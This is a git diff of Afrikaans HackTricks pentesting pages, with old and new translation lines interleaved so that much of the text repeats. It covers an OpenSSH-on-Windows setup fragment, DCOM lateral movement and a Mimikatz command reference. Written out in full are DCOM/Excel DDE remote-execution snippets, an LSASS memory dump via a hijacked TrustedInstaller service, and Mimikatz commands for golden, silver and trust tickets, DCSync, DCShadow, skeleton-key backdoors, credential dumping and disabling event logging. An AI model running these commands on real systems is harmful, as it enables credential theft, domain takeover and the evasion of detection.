1. Laai die nuutste OpenSSH vrystelling zip af en skuif dit na die teikenbediener.
2. Pak die lêer uit en hardloop die `Install-sshd.ps1` skrip.
3. Voeg 'n firewall-reël by om poort 22 oop te maak en verifieer dat SSH-diens hardloop.
2. Unzip en voer die `Install-sshd.ps1` skrip uit.
3. Voeg 'n firewall-reël by om poort 22 te open en verifieer dat SSH dienste aan die gang is.
Om `Verbindingsreset` foute op te los, mag toestemmings bygewerk moet word om almal lees- en uitvoertoegang tot die OpenSSH-gids toe te laat.
Om `Connection reset` foute op te los, mag dit nodig wees om toestemmings op te dateer om almal lees- en uitvoertoegang op die OpenSSH gids toe te laat.
```bash
icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
```
@ -105,14 +110,17 @@ icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-opslag**](https://github.com/carlospolop/hacktricks-cloud).
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# DCOM Exec
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
* Werk jy in 'n **kubersekuriteitsmaatskappy**? Wil jy hê jou **maatskappy moet in HackTricks geadverteer word**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks in PDF aflaai**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacking truuks deur PRs in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)..
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Probeer Hard Sekuriteitsgroep**
@ -24,7 +27,7 @@
**Vir meer inligting oor hierdie tegniek, kyk die oorspronklike pos van [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
Verspreide Komponent Objektmodel (DCOM) objekte bied 'n interessante vermoë vir netwerk-gebaseerde interaksies met objekte. Microsoft bied omvattende dokumentasie vir beide DCOM en Komponent Objektmodel (COM), beskikbaar [hier vir DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) en [hier vir COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). 'n Lys van DCOM toepassings kan verkry word met die PowerShell opdrag:
Verspreide Komponent Objektmodel (DCOM) objekke bied 'n interessante vermoë vir netwerk-gebaseerde interaksies met objekke. Microsoft bied omvattende dokumentasie vir beide DCOM en Komponent Objektmodel (COM), beskikbaar [hier vir DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) en [hier vir COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). 'n Lys van DCOM toepassings kan verkry word met die PowerShell opdrag:
```bash
Get-CimInstance Win32_DCOMApplication
```
@ -72,7 +75,7 @@ $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\sy
Laterale beweging kan bereik word deur DCOM Excel-objekte te benut. Vir gedetailleerde inligting, is dit raadsaam om die bespreking oor die benutting van Excel DDE vir laterale beweging via DCOM op [Cybereason's blog](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom) te lees.
Die Empire-projek bied 'n PowerShell-skrip, wat die gebruik van Excel vir afstandkode-uitvoering (RCE) demonstreer deur DCOM-objekte te manipuleer. Hieronder is snitte uit die skrip beskikbaar op [Empire's GitHub repository](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), wat verskillende metodes toon om Excel vir RCE te misbruik:
Die Empire-projek bied 'n PowerShell-skrip, wat die gebruik van Excel vir afstandkode-uitvoering (RCE) demonstreer deur DCOM-objekte te manipuleer. Hieronder is snitte van die skrip beskikbaar op [Empire's GitHub repository](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), wat verskillende metodes toon om Excel vir RCE te misbruik:
```powershell
# Detection of Office version
elseif ($Method -Match "DetectOffice") {
@ -99,7 +102,7 @@ $Obj.DDEInitiate("cmd", "/c $Command")
Twee toestelle word beklemtoon vir die outomatisering van hierdie tegnieke:
- **Invoke-DCOM.ps1**: 'n PowerShell-skrip wat deur die Empire-projek verskaf word en die aanroep van verskillende metodes vir die uitvoering van kode op afstandmasjiene vereenvoudig. Hierdie skrip is beskikbaar by die Empire GitHub-bewaarplek.
- **Invoke-DCOM.ps1**: 'n PowerShell-skrip wat deur die Empire-projek verskaf word en die oproep van verskillende metodes vir die uitvoering van kode op afstandmasjiene vereenvoudig. Hierdie skrip is beskikbaar by die Empire GitHub-bewaarplek.
- **SharpLateral**: 'n toestel wat ontwerp is om kode op afstand uit te voer, wat gebruik kan word met die opdrag:
```bash

View file

@ -1,39 +1,42 @@
# Mimikatz
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Hierdie bladsy is gebaseer op een van [adsecurity.org](https://adsecurity.org/?page\_id=1821)**. Kyk na die oorspronklike vir verdere inligting!
## LM en duidelike teks in geheue
## LM en Duidelike Teks in geheue
Vanaf Windows 8.1 en Windows Server 2012 R2 is beduidende maatreëls geïmplementeer om teen diefstal van geloofsbriewe te beskerm:
Vanaf Windows 8.1 en Windows Server 2012 R2 is daar beduidende maatreëls geïmplementeer om teen diefstal van geloofsbriewe te beskerm:
- **LM-hashes en duidelike teks wagwoorde** word nie meer in die geheue gestoor om sekuriteit te verbeter nie. 'n Spesifieke registerinstelling, _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_, moet gekonfigureer word met 'n DWORD-waarde van `0` om Digest-verifikasie uit te skakel, wat verseker dat "duidelike teks" wagwoorde nie in LSASS gekasheer word nie.
- **LM hashes en duidelike teks wagwoorde** word nie meer in geheue gestoor om sekuriteit te verbeter nie. 'n Spesifieke registrasie instelling, _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_ moet geconfigureer word met 'n DWORD waarde van `0` om Digest Authentication te deaktiveer, wat verseker dat "duidelike teks" wagwoorde nie in LSASS gegee word nie.
- **LSA-beskerming** word ingevoer om die Local Security Authority (LSA) proses teen ongemagtigde geheuelees en kode-inspuiting te beskerm. Dit word bereik deur die LSASS as 'n beskermde proses te merk. Aktivering van LSA-beskerming behels:
1. Wysig die register by _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_ deur `RunAsPPL` in te stel as `dword:00000001`.
2. Implementering van 'n Groepbeleidsvoorwerp (GPO) wat hierdie registerverandering afdwing op bestuurde toestelle.
- **LSA Beskerming** word bekendgestel om die Plaaslike Sekuriteitsowerheid (LSA) proses te beskerm teen ongeoorloofde geheue lees en kode-inspuiting. Dit word bereik deur die LSASS as 'n beskermde proses te merk. Aktivering van LSA Beskerming behels:
1. Die registrasie te wysig by _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_ deur `RunAsPPL` op `dword:00000001` te stel.
2. 'n Groep Beleidsobjek (GPO) te implementeer wat hierdie registrasie verandering oor bestuurde toestelle afdwing.
Ten spyte van hierdie beskermings kan gereedskap soos Mimikatz LSA-beskerming omseil deur spesifieke bestuurders te gebruik, alhoewel sulke aksies waarskynlik in gebeurtenislogboeke aangeteken sal word.
Ten spyte van hierdie beskermings, kan gereedskap soos Mimikatz LSA Beskerming omseil deur spesifieke bestuurders te gebruik, alhoewel sulke aksies waarskynlik in gebeurtenislogs aangeteken sal word.
### Teenwerkende SeDebugPrivilege-verwydering
### Teenwerking van SeDebugPrivilege Verwydering
Administrateurs het tipies SeDebugPrivilege, wat hulle in staat stel om programme te ontleed. Hierdie voorreg kan beperk word om ongemagtigde geheue-afleidings te voorkom, 'n algemene tegniek wat deur aanvallers gebruik word om geloofsbriewe uit die geheue te onttrek. Selfs met hierdie voorreg verwyder, kan die TrustedInstaller-rekening steeds geheue-afleidings uitvoer deur 'n aangepaste dienskonfigurasie te gebruik:
Administrateurs het tipies SeDebugPrivilege, wat hulle in staat stel om programme te debugeer. Hierdie voorreg kan beperk word om ongeoorloofde geheue dumps te voorkom, 'n algemene tegniek wat deur aanvallers gebruik word om geloofsbriewe uit geheue te onttrek. Maar, selfs met hierdie voorreg verwyder, kan die TrustedInstaller rekening steeds geheue dumps uitvoer deur 'n aangepaste dienskonfigurasie:
```bash
sc config TrustedInstaller binPath= "C:\\Users\\Public\\procdump64.exe -accepteula -ma lsass.exe C:\\Users\\Public\\lsass.dmp"
sc start TrustedInstaller
```
Dit maak dit moontlik om die geheue van `lsass.exe` na 'n lêer te dump, wat dan op 'n ander stelsel geanaliseer kan word om geloofsbriewe te onttrek:
Dit stel die dumping van die `lsass.exe` geheue na 'n lêer in, wat dan op 'n ander stelsel ontleed kan word om kredensiale te onttrek:
```
# privilege::debug
# sekurlsa::minidump lsass.dmp
@ -41,170 +44,173 @@ Dit maak dit moontlik om die geheue van `lsass.exe` na 'n lêer te dump, wat dan
```
## Mimikatz Opsies
Gebeurtenislog manipulasie in Mimikatz behels twee primêre aksies: die skoonmaak van gebeurtenislogs en die patching van die Gebeurtenisdiens om die log van nuwe gebeure te voorkom. Hieronder is die opdragte vir die uitvoering van hierdie aksies:
Event log manipulasie in Mimikatz behels twee primêre aksies: die skoonmaak van gebeurtenislogs en die patching van die gebeurtenisdienste om die registrasie van nuwe gebeurtenisse te voorkom. Hieronder is die opdragte om hierdie aksies uit te voer:
#### Skoonmaak van Gebeurtenislogs
- **Opdrag**: Hierdie aksie is daarop gemik om die gebeurtenislogs te verwyder, wat dit moeiliker maak om kwaadwillige aktiwiteite op te spoor.
- Mimikatz bied nie 'n direkte opdrag in sy standaard dokumentasie vir die skoonmaak van gebeurtenislogs direk via sy opdraglyn nie. Gebeurtenislog manipulasie behels egter gewoonlik die gebruik van stelselhulpmiddels of skripte buite Mimikatz om spesifieke logs te skoonmaak (bv. deur PowerShell of Windows Gebeurtenis Kyker te gebruik).
- **Opdrag**: Hierdie aksie is daarop gemik om die gebeurtenislogs te verwyder, wat dit moeiliker maak om kwaadwillige aktiwiteite te volg.
- Mimikatz bied nie 'n direkte opdrag in sy standaard dokumentasie vir die skoonmaak van gebeurtenislogs direk via sy opdraglyn nie. Dit behels egter tipies die gebruik van stelsels gereedskap of skripte buite Mimikatz om spesifieke logs skoon te maak (bv. deur PowerShell of Windows Event Viewer te gebruik).
#### Eksperimentele Funksie: Patching van die Gebeurtenisdiens
#### Eksperimentele Kenmerk: Patching van die Gebeurtenisdienste
- **Opdrag**: `event::drop`
- Hierdie eksperimentele opdrag is ontwerp om die gedrag van die Gebeurtenislogdiens te wysig, wat dit effektief verhoed dat nuwe gebeure aangeteken word.
- Hierdie eksperimentele opdrag is ontwerp om die gedrag van die Gebeurtenis Registrasie Dienste te wysig, wat effektief voorkom dat dit nuwe gebeurtenisse opneem.
- Voorbeeld: `mimikatz "privilege::debug" "event::drop" exit`
- Die `privilege::debug` opdrag verseker dat Mimikatz met die nodige bevoegdhede werk om stelseldienste te wysig.
- Die `event::drop` opdrag patch dan die Gebeurtenislogdiens.
- Die `privilege::debug` opdrag verseker dat Mimikatz met die nodige voorregte werk om stelseldienste te wysig.
- Die `event::drop` opdrag patch dan die Gebeurtenis Registrasie diens.
### Kerberos Kaart Aanvalle
### Kerberos Tekenaanvalle
### Skepping van 'n Goue Kaart
### Goue Teken Skepping
'n Goue Kaart maak dit moontlik om domein-wye toegang na te boots. Sleutelopdrag en parameters:
'n Goue Teken stel in staat tot domein-wye toegang impersonasie. Sleutelopdrag en parameters:
- Opdrag: `kerberos::golden`
- Parameters:
- `/domain`: Die domeinnaam.
- `/sid`: Die domein se Sekuriteitsidentifiseerder (SID).
- `/user`: Die gebruikersnaam om na te boots.
- `/sid`: Die domein se Veiligheidsidentifiseerder (SID).
- `/user`: Die gebruikersnaam om te impersonate.
- `/krbtgt`: Die NTLM-hash van die domein se KDC-diensrekening.
- `/ptt`: Spuit die kaart direk in die geheue in.
- `/ticket`: Stoor die kaart vir later gebruik.
- `/ptt`: Injekting van die teken direk in geheue.
- `/ticket`: Stoor die teken vir later gebruik.
Voorbeeld:
```bash
mimikatz "kerberos::golden /user:admin /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:ntlmhash /ptt" exit
```
### Silwerkaart Skepping
### Silver Ticket Creation
Silwerkaarte verleen toegang tot spesifieke dienste. Sleutelopdrag en parameters:
Silver Tickets bied toegang tot spesifieke dienste. Sleutelopdrag en parameters:
- Opdrag: Soortgelyk aan 'n Goue Kaart, maar teiken spesifieke dienste.
- Opdrag: Soortgelyk aan Golden Ticket, maar teiken spesifieke dienste.
- Parameters:
- `/service`: Die diens wat geteiken moet word (bv. cifs, http).
- Ander parameters soortgelyk aan 'n Goue Kaart.
- `/service`: Die diens om te teiken (bv., cifs, http).
- Ander parameters soortgelyk aan Golden Ticket.
Voorbeeld:
```bash
mimikatz "kerberos::golden /user:user /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /target:service.example.com /service:cifs /rc4:ntlmhash /ptt" exit
```
### Vertroue-Tiket Skepping
### Trust Ticket Creation
Vertroue-tikette word gebruik om toegang tot hulpbronne oor domeine heen te verkry deur gebruik te maak van vertrouensverhoudings. Sleutelopdrag en parameters:
Trust Tickets word gebruik om toegang tot hulpbronne oor domeine te verkry deur vertrouensverhoudings te benut. Sleutelopdrag en parameters:
- Opdrag: Soortgelyk aan 'n Goue Tiket, maar vir vertrouensverhoudings.
- Opdrag: Soortgelyk aan Golden Ticket, maar vir vertrouensverhoudings.
- Parameters:
- `/target`: Die volledig gekwalifiseerde domeinnaam van die teiken-domein.
- `/target`: Die FQDN van die teiken-domein.
- `/rc4`: Die NTLM-hash vir die vertrouensrekening.
Voorbeeld:
```bash
mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123456789-123456789 /sids:S-1-5-21-987654321-987654321-987654321-519 /rc4:ntlmhash /user:admin /service:krbtgt /target:parent.example.com /ptt" exit
```
### Bykomende Kerberos-opdragte
### Bykomende Kerberos Opdragte
- **Lys van Kaartjies**:
- Opdrag: `kerberos::lys`
- Lys alle Kerberos-kaartjies vir die huidige gebruikersessie.
- **Lys Kaartjies**:
- Opdrag: `kerberos::list`
- Lys alle Kerberos kaartjies vir die huidige gebruikersessie.
- **Stuur die Cache**:
- **Gee die Kas**:
- Opdrag: `kerberos::ptc`
- Spuit Kerberos-kaartjies in vanaf cache-lêers.
- Injekter Kerberos kaartjies vanaf kaslêers.
- Voorbeeld: `mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit`
- **Stuur die Kaartjie**:
- **Gee die Kaartjie**:
- Opdrag: `kerberos::ptt`
- Maak dit moontlik om 'n Kerberos-kaartjie in 'n ander sessie te gebruik.
- Laat toe om 'n Kerberos kaartjie in 'n ander sessie te gebruik.
- Voorbeeld: `mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit`
- **Skoonmaak van Kaartjies**:
- Opdrag: `kerberos::skoonmaak`
- Maak alle Kerberos-kaartjies skoon uit die sessie.
- Nuttig voordat kaartjie-manipulasie-opdragte gebruik word om konflikte te voorkom.
- **Verwyder Kaartjies**:
- Opdrag: `kerberos::purge`
- Verwyder alle Kerberos kaartjies uit die sessie.
- Nuttig voor die gebruik van kaartjie manipulasie opdragte om konflikte te vermy.
### Aktiewe Gids-versteuring
### Aktiewe Gids Manipulasie
- **DCShadow**: Maak 'n masjien tydelik as 'n DC om AD-objekmanipulasie uit te voer.
- **DCShadow**: Tydelik 'n masjien laat optree as 'n DC vir AD objek manipulasie.
- `mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit`
- **DCSync**: Boots 'n DC na om wagwoorddata aan te vra.
- **DCSync**: Naboots 'n DC om wagwoorddata aan te vra.
- `mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit`
### Toegang tot Geldele
### Krediettoegang
- **LSADUMP::LSA**: Haal geldele uit LSA.
- **LSADUMP::LSA**: Trek krediete uit LSA.
- `mimikatz "lsadump::lsa /inject" exit`
- **LSADUMP::NetSync**: Stel 'n DC voor deur 'n rekenaarrekening se wagwoorddata te gebruik.
- *Geen spesifieke opdrag vir NetSync in oorspronklike konteks verskaf nie.*
- **LSADUMP::NetSync**: Naboots 'n DC met 'n rekenaarrekening se wagwoorddata.
- *Geen spesifieke opdrag verskaf vir NetSync in oorspronklike konteks.*
- **LSADUMP::SAM**: Kry toegang tot die plaaslike SAM-databasis.
- **LSADUMP::SAM**: Toegang tot plaaslike SAM databasis.
- `mimikatz "lsadump::sam" exit`
- **LSADUMP::Secrets**: Ontsleutel geheime wat in die register gestoor word.
- **LSADUMP::Secrets**: Dekripsie van geheime wat in die registrasie gestoor is.
- `mimikatz "lsadump::secrets" exit`
- **LSADUMP::SetNTLM**: Stel 'n nuwe NTLM-hash vir 'n gebruiker in.
- `mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit`
- **LSADUMP::Trust**: Kry vertroue-verifikasie-inligting.
- **LSADUMP::Trust**: Verkry vertrouensverifikasie-inligting.
- `mimikatz "lsadump::trust" exit`
### Verskeidenhede
### Divers
- **MISC::Skeleton**: Spuit 'n agterdeur in LSASS op 'n DC.
- **MISC::Skeleton**: Injekter 'n agterdeur in LSASS op 'n DC.
- `mimikatz "privilege::debug" "misc::skeleton" exit`
### Bevoorregtingverhoging
### Privilege Escalation
- **PRIVILEGE::Backup**: Verkry rugsteunregte.
- `mimikatz "privilege::backup" exit`
- **PRIVILEGE::Debug**: Verkry aflynregte.
- **PRIVILEGE::Debug**: Verkry foutopsporing regte.
- `mimikatz "privilege::debug" exit`
### Wagwoordopvraag
### Krediet Dumping
- **SEKURLSA::LogonPasswords**: Wys geldele vir aangemelde gebruikers.
- **SEKURLSA::LogonPasswords**: Toon krediete vir ingelogde gebruikers.
- `mimikatz "sekurlsa::logonpasswords" exit`
- **SEKURLSA::Tickets**: Haal Kerberos-kaartjies uit die geheue.
- **SEKURLSA::Tickets**: Trek Kerberos kaartjies uit geheue.
- `mimikatz "sekurlsa::tickets /export" exit`
### Sid- en Tokenmanipulasie
### Sid en Token Manipulasie
- **SID::add/modify**: Verander SID en SIDHistory.
- Voeg by: `mimikatz "sid::add /user:targetUser /sid:newSid" exit`
- Wysig: *Geen spesifieke opdrag vir wysig in oorspronklike konteks verskaf nie.*
- Wysig: *Geen spesifieke opdrag vir wysiging in oorspronklike konteks.*
- **TOKEN::Elevate**: Stel tokens voor.
- **TOKEN::Elevate**: Naboots tokens.
- `mimikatz "token::elevate /domainadmin" exit`
### Terminaaldienste
### Terminal Dienste
- **TS::MultiRDP**: Laat verskeie RDP-sessies toe.
- **TS::MultiRDP**: Laat meerdere RDP sessies toe.
- `mimikatz "ts::multirdp" exit`
- **TS::Sessions**: Lys TS/RDP-sessies.
- *Geen spesifieke opdrag vir TS::Sessions in oorspronklike konteks verskaf nie.*
- **TS::Sessions**: Lys TS/RDP sessies.
- *Geen spesifieke opdrag verskaf vir TS::Sessions in oorspronklike konteks.*
### Kluis
- Haal wagwoorde uit Windows-kluis.
- Trek wagwoorde uit Windows Kluis.
- `mimikatz "vault::cred /patch" exit`
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSKRIPSIEPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien vir die** [**hacktricks-repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-repo**](https://github.com/carlospolop/hacktricks-cloud).
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}